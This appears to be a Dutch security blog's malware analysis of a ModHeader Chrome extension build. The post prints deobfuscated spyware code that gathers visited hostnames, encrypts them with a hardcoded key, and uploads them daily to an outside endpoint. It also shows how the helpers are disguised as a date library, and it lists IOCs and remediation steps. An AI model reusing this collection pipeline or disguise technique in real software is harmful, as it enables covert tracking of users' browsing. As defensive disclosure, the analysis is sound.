Ga naar content
HackIndex.io

ModHeader-malware ontleed: de Chrome-spyware die Google verwijderde

Aangemaakt juli 12, 2026 • Laatst bijgewerkt juli 14, 2026 • 15 min read • 10,821 weergaven

ModHeader-malware ontleed: de Chrome-spyware die Google verwijderde

Meer dan 800.000 mensen vertrouwden deze extensie. Toen schakelde Chrome hem op een ochtend uit en markeerde hem als malware. Google gaf echter geen reden. Er kwam geen toelichting over wat de extensie deed, en ook niet over welke data risico liep.

Die extensie is ModHeader, een populaire developertool die HTTP-headers herschrijft op elke site die je bezoekt. Een malware-flag is hier dus een serieuze zaak. Daarom haalden we de verwijderde build van de schijf en reverse-engineerden we hem. Deze ModHeader-malware-analyse behandelt de hele zaak: de verborgen pipeline, het forensisch onderzoek en de indicators of compromise.

TL;DR

Eerst de korte versie. De details volgen hieronder.

  • Wat: Een ModHeader-build (idgpnmonknjnojddfkpgkljpfnnfcklj, v7.0.18) bevatte een verborgen spyware-SDK. Opvallend: dat ID is de officiële ModHeader-listing, en de bestanden droegen Chrome Web Store-handtekeningen.

  • Gedrag: Hij verzamelt de domeinen die je bezoekt. Daarna versleutelt hij de lijst met AES-GCM. Tot slot POST hij de data één keer per dag naar api.stanfordstudies.com/app/log.

  • Schuilplaats: De kwaadaardige helpers zitten in een bestand met de naam dayjs.min-*.js. De payload doet zich met andere woorden voor als een datumlibrary.

  • Status: De collector wordt slapend meegeleverd, achter een lege allowlist ($w = []). Toch zijn het endpoint, de sleutel en de scheduler allemaal aanwezig.

  • Command-and-control: Er is niets om te monitoren. De upload is eenrichtingsverkeer, dus de server kan geen commando's terugsturen.

  • Ook adware: Bovenop de spyware opent hij bij elke update een advertentietabblad en toont hij in-app advertenties. Dat gebeurt zelfs op beheerde enterprise-machines.

  • Bereik: ModHeader heeft 800.000+ gebruikers op Chrome, plus een grote gebruikersbasis op Edge. Omdat de payload meelift op de officiële listing, valt de hele installatiebasis binnen scope.

  • Recon: De exfil-host verschuilt zich achter een nepfront "Stanford Studies - Research" en een Lark-mailbox. Daarnaast wijzen meerdere zwakke signalen op een Chineestalige operator.

  • Forensisch: Op de onderzochte machine is de spyware nooit afgegaan. Wel had de extensie lokaal de volledige HTTP-headers van al het browseverkeer opgepot.

Lees verder om te zien hoe we elk van deze feiten hebben gevonden.

Achtergrond: waarom een ModHeader-malware-flag ertoe doet

ModHeader is een populaire tool. Developers gebruiken hem om HTTP-request- en responseheaders aan te passen. Daarom heeft hij brede toegang tot je verkeer nodig. Die toegang is normaal voor zijn taak. Maar het maakt de extensie ook een waardevol doelwit.

Een vertrouwde extensie die als malware wordt gemarkeerd, is het interessante geval. Ofwel draagt een kloon het merk, ofwel bevat een vertrouwde extensie nu een geïnjecteerde payload. Beide patronen duiken vaak op bij supply-chain-aanvallen via browserextensies. Daarom behandelt deze ModHeader-malware-analyse de flag als een aanwijzing, niet als een vonnis.

Waar de bestanden staan

De verwijderde extensie stond nog op de schijf. Het exacte pad hangt af van je browser en besturingssysteem. Op Chrome kijk je hier:

Chrome
  macOS   : ~/Library/Application Support/Google/Chrome/<Profile>/Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj/7.0.18_0
  Windows : %LOCALAPPDATA%\Google\Chrome\User Data\<Profile>\Extensions\idgpnmonknjnojddfkpgkljpfnnfcklj\7.0.18_0
  Linux   : ~/.config/google-chrome/<Profile>/Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj/7.0.18_0

Edge levert dezelfde payload onder een ander ID. Check daar dus ook:

Edge (extension ID opgbiafapkbbnbnjcdomjaghbckfkglc)
  macOS   : ~/Library/Application Support/Microsoft Edge/<Profile>/Extensions/opgbiafapkbbnbnjcdomjaghbckfkglc
  Windows : %LOCALAPPDATA%\Microsoft\Edge\User Data\<Profile>\Extensions\opgbiafapkbbnbnjcdomjaghbckfkglc
  Linux   : ~/.config/microsoft-edge/<Profile>/Extensions/opgbiafapkbbnbnjcdomjaghbckfkglc

ModHeader is niet gepubliceerd op Firefox, dus er is geen Mozilla-add-on om te checken.

Eerste blik: manifest en permissies

We begonnen met het manifest. De permissies laten je snel de blast radius zien.

// manifest.json (trimmed)
{
  "name": "ModHeader - Modify HTTP headers",
  "version": "7.0.18",
  "author": "modhader@",                       // note the typo
  "manifest_version": 3,
  "content_scripts": [{ "js": ["src/js/service/content_script_vite.js"], "matches": ["<all_urls>"] }],
  "host_permissions": ["<all_urls>"],
  "permissions": ["alarms", "contextMenus", "storage", "webRequest", "declarativeNetRequest", "scripting"],
  "update_url": "https://clients2.google.com/service/update2/crx"
}

De set permissies is breed. Hij omvat <all_urls>, webRequest, declarativeNetRequest, scripting en een content script op elke pagina. Voor een headertool is die scope te verwachten. Toch betekent het dat een kwaadaardige build je webverkeer al in handen heeft. Opvallend: het veld author vermeldt modhader@. Die typefout komt in de code terug als modhader-tool-root.

De verklikker: een domein dat niet van de vendor is

Vervolgens haalden we elke URL-literal uit de bundles. Dat is de snelste triagestap voor geobfusceerde code.

┌──(kali㉿kali)-[~]
└─$ grep -rohE "https?://[a-zA-Z0-9._~:/?#@!$&'()*+,;=%-]+" assets | sort -u

De meeste resultaten wijzen naar modheader.com, de echte vendor. Eén host valt echter uit de toon:

  • https://api.stanfordstudies.com/app/log

Een "Stanford studies"-domein heeft niets te zoeken in een headertool. Bovendien is /app/log een generiek ingest-pad. Dat werd dus de draad om aan te trekken. Die staat in één bestand: assets/src/background-94ad634d.js.

Obfuscatie: ModHeader-malware verstopt in een neppe dayjs

De payload importeert zijn helpers uit wat eruitziet als de datumlibrary.

import { e as sf, f as af, h as Za, s as u0 } from "../dayjs.min-6a736ee8.js";

Maar die exports hebben niets met datums te maken. Het zijn in plaats daarvan operationele spyware-helpers.

// inside the file named dayjs.min-*.js
const cl = () => {                                   // exported as sf  ->  browser id
  const h = navigator.userAgent.toLowerCase();
  return h.indexOf("edg/") !== -1 ? "edge"
       : h.indexOf("chrome") !== -1 ? "chrome"
       : h.indexOf("firefox") !== -1 ? "firefox" : "other";
};
function fl(h) { try { return new URL(h).host } catch (i) {} }         // exported as af -> extract host
const hl = h => new Promise(i => setTimeout(i, h));                     // exported as u0 -> sleep
const vl = h => new Date(h.getFullYear(), h.getMonth(), h.getDate());  // exported as Za -> midnight

Dit is bewuste misleiding. Een reviewer scant de imports, ziet "dayjs" en gaat verder. Zo komen de ModHeader-malware-helpers in het volle zicht door de review.

Hoe de exfiltratie-pipeline van de ModHeader-malware werkt

Het diagram hieronder toont de volledige flow, van browsen tot upload. Alle symbolen hieronder zijn de echte geminificeerde namen. Na elk blok volgt gedeobfusceerde pseudocode.

Exfiltratie-pipeline van de ModHeader-malware: domeinen verzamelen, AES-GCM-versleuteling en dagelijkse upload naar api.stanfordstudies.com

Stap 1: identiteit en cryptomateriaal

Eerst zet de payload een sleutel, een endpoint en een fingerprint klaar.

let qo; // the CryptoKey
(async () => {
  qo = await Ho.importKeyFromBase64("aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE");
})();

const qw = "https://api.stanfordstudies.com/app/log";
const $w = [];              // browser allowlist  (empty -> dormant)
const Yw = "mod盐header";    // fingerprint salt, note the CJK char 盐 ("salt")

const Hw = async () => {    // fp = SHA-256(current time as string)
  const r = new Date().getTime().toString();
  return await kr(r, "SHA-256");
};

Twee punten zijn hier belangrijk.

  1. De "versleuteling" is obfuscatie, geen bescherming. De AES-GCM-sleutel wordt in cleartext meegeleverd. Iedereen met de extensie kan de payload dus ontsleutelen. Het enige doel is de body te verbergen voor oppervlakkige netwerkinspectie.

  2. De fingerprint is een stabiele tracking-ID. Het is SHA-256(Date.now()). De code genereert hem één keer en slaat hem daarna op. Daardoor werkt hij als een willekeurige, persistente identifier.

Stap 2: de host van elke navigatie verzamelen

Vervolgens registreert de collector domeinen. Hij gebruikt een versleutelde waarde als key.

async function Zw(url) {
  const domain = af(url);                       // new URL(url).host
  if (domain === globalThis.lastChangeDomain) return;
  globalThis.lastChangeDomain = domain;
  const { settingDB, domainDB, fp, aesIv } = await jw();
  const enc = await Ho.encrypt(qo, domain, aesIv);   // AES-GCM encrypt the hostname
  const count = await domainDB.get(enc, 0);
  await domainDB.put(enc, count + 1);                // encrypted-domain -> visit count
  await Qw(domainDB, settingDB, aesIv);              // maybe upload
}

De store koppelt dus elke versleutelde hostname aan een teller. Kort gezegd komt de operator te weten welke sites je bezoekt en hoe vaak. Volledige URL's en paden worden hier niet verzameld. Alleen de host.

Stap 3: de dagelijkse upload, met jitter per fingerprint

Daarna bepaalt de code wanneer er verstuurd wordt. Hij uploadt hooguit één keer per dag. Bovendien wacht hij op een vast uur dat uniek is voor jouw fingerprint.

async function zw() {
  const r = await kr(`${globalThis.fp}${Yw}`, "SHA-256", 10);       // decimal digest
  const n = (Number(BigInt(r) % BigInt(60*60*8)) + 60*60*7) / 3600; // hour in [7, 15)
  const now = new Date();
  return Math.round((now - Za(now)) / 1000) / 3600 > n;             // only after this install's hour
}

Deze jitter is slim. Elk slachtoffer uploadt op een ander tijdstip. Daardoor is het verkeer lastiger te spotten op een netwerkmonitor. Na een geslaagde verzending wist de code de lokale store om bewijs te verwijderen.

Stap 4: de kill switch is een lege allowlist

Tot slot hangt de hele keten aan de tab-lifecycle. Eén check zet hem echter volledig stil.

chrome.tabs.onUpdated.addListener(async (r, n, i) => { await Jw(r, n, i); });

async function Jw(tab, change, info) {
  const browser = sf();
  if ($w.indexOf(browser) === -1 || change.status !== "loading") return; // <-- gate
  const url = change.url || info.url;
  if (!url) return;
  await Zw(url);                                          // record the domain
}

Hier is $w leeg. Daarom is $w.indexOf(browser) altijd -1. Daardoor doet de check altijd een return, en draait Zw nooit. In deze build is de collector aanwezig maar slapend. Omdat $w een hardcoded constante is, is voor inschakelen een nieuwe versie nodig. De echte trigger is met andere woorden een auto-update.

Wat de ModHeader-malware niet doet

Precies zijn over wat ontbreekt telt ook. We controleerden dus op het ergste gedrag en vonden dat niet.

  • Geen remote code execution. Er is geen eval, geen misbruik van new Function en geen import("https://...").

  • Geen credential-diefstal in het exfil-pad. De upload bevat hostnames, de fingerprint en het browsertype. Hij verstuurt geen cookies of pagina-inhoud.

  • Cookies worden alleen gemeten, niet verstuurd. Een metrics-routine leest document.cookie.length voor een UI met een schatting van het opslaggebruik. De cookiewaarde verlaat de pagina nooit.

  • Opgevangen headers blijven lokaal. De header-listeners schrijven naar lokale opslag voor de eigen history-weergave van de extensie.

Het was ook adware: advertentietabbladen bij elke update

De spyware was slapend. De adware niet. Gebruikers meldden dat er telkens opnieuw advertentietabbladen openden, zelfs op dichtgetimmerde bedrijfsmachines. De code legt uit waarom.

Bij elke update opent de extensie geforceerd een nieuw actief tabblad naar een affiliate-netwerk.

chrome.runtime.onInstalled.addListener(async (r) => {
  // ... also sets an uninstall URL that pings extensions-hub.com ...
  if (r.reason === "install") {
    // install tab opens only when there are no managed (enterprise) profiles
    if (!managedProfiles?.length) Jv({ url: "https://www.extensions-hub.com/partners/installed/?name=ModHeader" });
  }
  if (r.reason === "update") {
    // no such guard here, so this fires on EVERY update, managed machines included
    chrome.tabs.create({ url: "https://www.extensions-hub.com/partners/updated/?name=ModHeader", active: true });
  }
});

Twee dingen vallen op.

  • Elke update opent een tabblad. Extensies updaten zichzelf stilletjes en vaak. Het advertentietabblad komt dus steeds terug, wat overeenkomt met de meldingen.

  • Enterprise-machines worden niet gespaard. Het install-tabblad wordt overgeslagen als er beheerde profielen zijn. Bij het update-tabblad ontbreekt zo'n check echter. Daarom krijgen bedrijfsdeployments alsnog de advertentietabbladen.

Er is een tweede advertentiekanaal in de extensie zelf. De popup haalt advertentie-instellingen op bij de vendor en kan advertenties tonen of sluiten.

GET https://modheader.com/api/ad-settings
GET https://modheader.com/api/close-ad

De UI benoemt het model zelfs letterlijk: "Pausing ads temporarily. To permanently remove ads, consider Upgrade to a paid plan, or Downgrade to a limited plan to opt-out of ads."

De extensie leverde dus openlijk aangekondigde adware bovenop de verborgen spyware. De twee staan los van elkaar. De adware is zichtbaar en irritant, terwijl de spyware stil is. Samen verklaren ze zowel de klachten van gebruikers als de malware-flag.

Forensisch: is de ModHeader-malware ooit afgegaan?

De IndexedDB van de extensie overleefde de verwijdering. Hij was zo'n 178 MB groot.

~/Library/Application Support/Google/Chrome/<Profile>/IndexedDB/chrome-extension_idgpnmonknjnojddfkpgkljpfnnfcklj_0.indexeddb.leveldb

We scanden hem dus op upload-markers.

┌──(kali㉿kali)-[~]
└─$ strings -a *.ldb *.log | grep -aoiE "stanfordstudies|/app/log|lastUploadDate|uploadRecord"

De resultaten waren duidelijk:

  • stanfordstudies gaf nul hits over alle 178 MB.

  • lastUploadDate en uploadRecord gaven nul hits.

  • De temp-domeinstore was praktisch leeg.

Op dit profiel heeft de collector dus nooit een domein geregistreerd en nooit iets geüpload. Dat komt exact overeen met de slapende $w = []-gate. Kort gezegd: je lijst met bezochte domeinen heeft de machine niet verlaten.

De verrassing van 178 MB: een lokale opslag vol headers

Eén ding vulde echter wél 178 MB. De eigen "history"-functie van de extensie sloeg de volledige request- en responseheaders van elke pagina op. De dominante keys waren requestHeaders, responseHeaders, details en tabStartTime.

Deze data heeft de schijf nooit verlaten. Toch is ze gevoelig at rest. Headers bevatten vaak Authorization-tokens, sessiecookies en interne URL's. Wis deze store dus, ongeacht of de spyware is afgegaan.

Waar is de command-and-control?

Veel lezers stellen een terechte vraag: is er een C2-kanaal om te monitoren? Kort gezegd: nee.

De upload is strikt eenrichtingsverkeer. De response-body van de fetch wordt nooit gelezen. Er is geen .json(), geen .text() en geen .ok-check op het antwoord. Bovendien zijn de operationele constanten hardcoded en worden ze nooit vanaf een server aangepast. Daarom is api.stanfordstudies.com een drop box, geen controller. Hij kan de extensie geen opdrachten geven.

Het echte controlekanaal is de auto-update van de extensie. Om de slapende collector live te zetten, moet een operator een nieuwe versie uitbrengen. Dat is precies de vector die de stores neutraliseren wanneer ze een extensie uit de store halen.

Domein-recon: is dit ModHeader-malware-endpoint echt kwaadaardig?

We stopten niet bij de code. In plaats daarvan profileerden we het exfil-domein met passieve en actieve recon. Dit is wat de infrastructuur zelf onthult.

api.stanfordstudies.com is een vermomd exfil-endpoint

Ten eerste is de naamgeving misleidend. Het publieke front op www.stanfordstudies.com draagt de titel "Stanford Studies - Research". Het heeft echter geen enkele band met Stanford University. Bovendien is de pagina een lege huls. Er is geen onderzoeksorganisatie, geen privacybeleid en geen contactgegevens. Een echt onderzoek dat data verzamelt, maakt die drie daarentegen wél openbaar.

Ten tweede gedraagt de API-host zich als een drop box, niet als een website.

  • Het domein is aangemaakt op 2022-05-09 via Squarespace. De WHOIS is privacy-afgeschermd.

  • De mail loopt via larksuite.com (Lark / Feishu). Dat wijst op een Chineestalige operator. Opvallend: dat past bij de string 盐 ("zout") die in de code is ingebakken.

  • api.stanfordstudies.com resolvet naar één AWS EC2-host (3.147.61.167, regio us-east-2).

  • Een probe van het root-adres liep in een timeout. De host beantwoordt dus alleen zijn ingest-pad, geen normaal webverkeer.

  • Tot slot heeft urlscan.io records van precies het endpoint api.stanfordstudies.com/app/log. Ook zijn er scans van de host die teruggaan tot november 2023.

Alles bij elkaar is dit een verborgen ingest-endpoint, vermomd als academisch onderzoek. Daarom beoordelen we het als kwaadaardig.

Waar de infrastructuur vandaan komt

Vervolgens traceerden we de hosting en de geschiedenis ervan. Het resultaat is een standaard opzet achter privacy-afscherming, met een langer verleden dan het papierwerk doet vermoeden.

  • Host. Het endpoint draait op één AWS EC2-instance, 3.147.61.167, met reverse DNS ec2-3-147-61-167.us-east-2.compute.amazonaws.com. Dat plaatst het in AWS us-east-2 (Columbus, Ohio, AS16509 Amazon).

  • Ouder dan het lijkt. WHOIS vermeldt een aanmaakdatum in 2022. Certificate transparency toont echter certificaten voor het domein die teruggaan tot 2017. De naam is dus ouder dan de huidige registratie, wat wijst op een herregistratie of een eigendomswissel.

  • Nog steeds live. Het nieuwste certificaat is uitgegeven in maart 2026. Ondertussen registreerde urlscan.io het /app/log-endpoint tot in 2025 en opnieuw in juli 2026.

  • Een echte operatie. Naast api en www heeft het domein de subdomeinen dev, devlog en devos. Dat is een onderhouden dev- en ops-opzet, geen wegwerpdomein.

Toch is de registrar-WHOIS privacy-afgeschermd, en draaien de servers op gedeelde AWS-ranges. Het spoor houdt daarom op vlak voor een naam.

Supply-chain-context: dit is het officiële ModHeader-ID

Eén detail maakt de zaak ernstiger. Het extensie-ID idgpnmonknjnojddfkpgkljpfnnfcklj is de officiële ModHeader-listing, met meer dan 800.000 gebruikers. Bovendien werd de build geleverd met Chrome Web Store-handtekeningen (_metadata/verified_contents.json). Omdat Chrome weigert gemanipuleerde bestanden te draaien, is de geanalyseerde code de gesigneerde distributie, geen lokaal aangepaste kloon.

We kunnen echter niet uit de binary alleen bewijzen wie de payload heeft toegevoegd. Het kan gaan om een eigendomsoverdracht, een geïnjecteerde monetization-SDK of een beslissing van de vendor. Dat patroon is in de sector uitgebreid gedocumenteerd. Daarom presenteren we het bewijs en laten we de vraag naar het auteurschap open.

Oordeel per domein

Domein

Rol in de ModHeader-malware

Infrastructuur

Oordeel

api.stanfordstudies.com

Ingest voor versleutelde domein-harvesting

AWS EC2, root onbereikbaar, "Stanford"-vermomming, Lark-mail

Kwaadaardig

www.extensions-hub.com

Adware: advertentietabblad geopend bij elke update

AWS S3 + CloudFront, affiliate-SaaS, gedeeld door meerdere extensies

Privacyschendende adware

modheader.com

Cloud-sync van de vendor (ter vergelijking)

AWS + Google Workspace, transparant

Legitiem

Bereik en attributie: wie loopt risico, en wie zit erachter?

Hoeveel gebruikers risico lopen

De blast radius is groot, omdat dit de hoofdlisting is. Hij beslaat bovendien twee browsers.

  • Chrome: 800.000+ installaties, gepubliceerd onder "ModHeader".

  • Edge: dezelfde extensie wordt geleverd onder ID opgbiafapkbbnbnjcdomjaghbckfkglc, met een eigen grote installatiebasis. Microsoft verwijderde hem op 2026-07-03 uit de Edge Add-ons-store.

  • Firefox: er bestaat geen officiële ModHeader-add-on, dus Firefox-gebruikers zijn niet getroffen.

  • Beoordeling: 2,91 sterren uit 1.226 stemmen. Dat is ongewoon laag voor een dev-tool die al zo lang bestaat.

  • Vermelde talen: Engels en Vereenvoudigd Chinees (zh-CN).

  • Laatste listing-update: 2026-07-01, wat overeenkomt met de geanalyseerde v7.0.18-build.

De lage beoordeling is geen toeval. Recente reviews markeren de extensie al vanwege adware-gedrag en affiliate-advertenties. Die advertenties zijn echter openlijk aangekondigd, en de extensie biedt een opt-out. Ze vormen dus een aparte, zichtbare klacht. De stanfordstudies.com-collector is het tegenovergestelde. Hij is verborgen, versleuteld en biedt geen melding en geen opt-out. Haal de twee dus niet door elkaar: de aangekondigde advertenties zijn een vertrouwensprobleem, terwijl de verborgen domein-harvesting de echte spyware is.

Signalen over de threat actor (lage zekerheid)

We kunnen de operator maar losjes schetsen. Belangrijk: we noemen geen groep, en geen van deze signalen is bewijs.

  • Mail op Lark. Het exfil-domein routeert e-mail via larksuite.com (Lark / Feishu), een suite die veel voorkomt bij Chineestalige teams.

  • Een Chinese string in de code. De fingerprint-salt bevat het teken 盐, wat "zout" betekent.

  • Chineestalig oppervlak. De listing levert een Vereenvoudigd-Chinese locale mee, en het content script maakt een uitzondering voor baidu.com.

  • Een false-flag-front. De "Stanford Studies"-pagina leent de naam van een vertrouwde Amerikaanse universiteit. Dat is duidelijk misleiding, geen echte affiliatie.

Bij elkaar wijzen deze signalen zwak richting een Chineestalige operator. Toch draait de infrastructuur op AWS en is de WHOIS privacy-afgeschermd. Daarom kunnen we het op basis van alleen open bronnen niet aan een specifieke actor koppelen.

Impactbeoordeling

Hier is het risico in één oogopslag.

Vector

Status in v7.0.18

Blootgestelde data

Ernst

Domein-harvesting naar stanfordstudies.com

Slapend; nooit afgegaan

Bezochte hostnames, fingerprint, browser

Hoog qua mogelijkheden

Advertentietabbladen + in-app advertenties

Actief

Nieuw tabblad bij elke update, incl. beheerde machines

Gemiddeld (ongewenst)

Lokale headergeschiedenis

Actief, alleen lokaal

Volledige headers van al het browseverkeer

Gemiddeld at rest

Bereik van de permissies

Aanwezig

Al het HTTP-verkeer lezen/wijzigen

Hoog potentieel

In gewone taal: op deze machine is niets geëxfiltreerd. Toch bevatte de ModHeader-malware een complete spyware-pipeline, inclusief sleutel en endpoint. Er was maar één codewijziging nodig om hem te activeren. Ondertussen sloeg hij lokaal gevoelige headerdata op. Die combinatie is een redelijke basis voor een takedown.

Detectie en remediatie

Als je een getroffen gebruiker bent

Volg deze stappen in volgorde.

  1. Bevestig dat de browser de extensie heeft uitgeschakeld. Chrome en Edge doen dit meestal automatisch.

  2. Verwijder de achtergebleven opslagmappen die hieronder staan.

  3. Blokkeer en log DNS voor api.stanfordstudies.com.

  4. Installeer een headertool alleen opnieuw vanuit een bron die je vertrouwt.

Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj
IndexedDB/chrome-extension_idgpnmonknjnojddfkpgkljpfnnfcklj_0.indexeddb.leveldb
Local Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
Sync Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
Managed Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj

Op Edge staan dezelfde mappen onder Microsoft Edge/ in plaats van Google/Chrome/, en is het extensie-ID opgbiafapkbbnbnjcdomjaghbckfkglc.

Als je een fleet verdedigt

Gebruik deze hunts en heuristieken.

  • Grep uitgepakte extensiemappen op de IOC-strings hieronder.

  • Geef een alert bij elke extensie die een ondoorzichtige, versleutelde body POST naar een domein dat niet van de vendor is.

  • Markeer operationele helpers die worden geëxporteerd uit een vendored library-bestand als code smell.

Indicators of Compromise

Gebruik deze IOC's om elders naar dezelfde ModHeader-malware-SDK te zoeken.

Netwerk

api.stanfordstudies.com          (spyware exfil: POST /app/log)
www.extensions-hub.com           (adware: ad tab opened on every update)
modheader.com/api/ad-settings    (adware: in-app ad config)

Extensie

Chrome ID  : idgpnmonknjnojddfkpgkljpfnnfcklj
Edge ID    : opgbiafapkbbnbnjcdomjaghbckfkglc
Firefox    : no official ModHeader add-on on AMO
Name       : ModHeader - Modify HTTP headers
Version    : 7.0.18

Statische strings

Hardcoded AES-GCM key : aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE
Fingerprint salt      : mod盐header   (contains U+76D0 盐)
Exfil endpoint        : https://api.stanfordstudies.com/app/log

Bestanden (Vite-hashes van deze build)

assets/src/background-94ad634d.js    (payload)
assets/dayjs.min-6a736ee8.js         (disguised helpers)

Symbooltabel

Ter referentie: dit is de vertaling van geminificeerde namen naar hun betekenis.

Geminificeerd

Betekenis

qw

exfil-URL api.stanfordstudies.com/app/log

$w

browser-allowlist-gate (leeg = slapend)

Yw

fingerprint-salt mod盐header

qo

geïmporteerde AES-GCM-sleutel

Hw

fp = SHA-256(Date.now()) installatie-ID

Zw

registreert een bezocht domein

Qw

uploadbeslissing + wissen na succes

zw

tijdstip-gate per fingerprint

sf / af / Za / u0

browser-id / host / middernacht / sleep

Verder lezen

Voor bredere context over hoe vertrouwde extensies vijandig worden, zie de volgende externe rapporten.

Deze analyse bestaat uit statisch onderzoek plus on-disk-forensisch onderzoek van één geïnstalleerde build. We claimen geen attributie. Kun je bevestigen of de officiële Web Store precies deze build heeft geleverd? Neem dan contact op met HackIndex Research.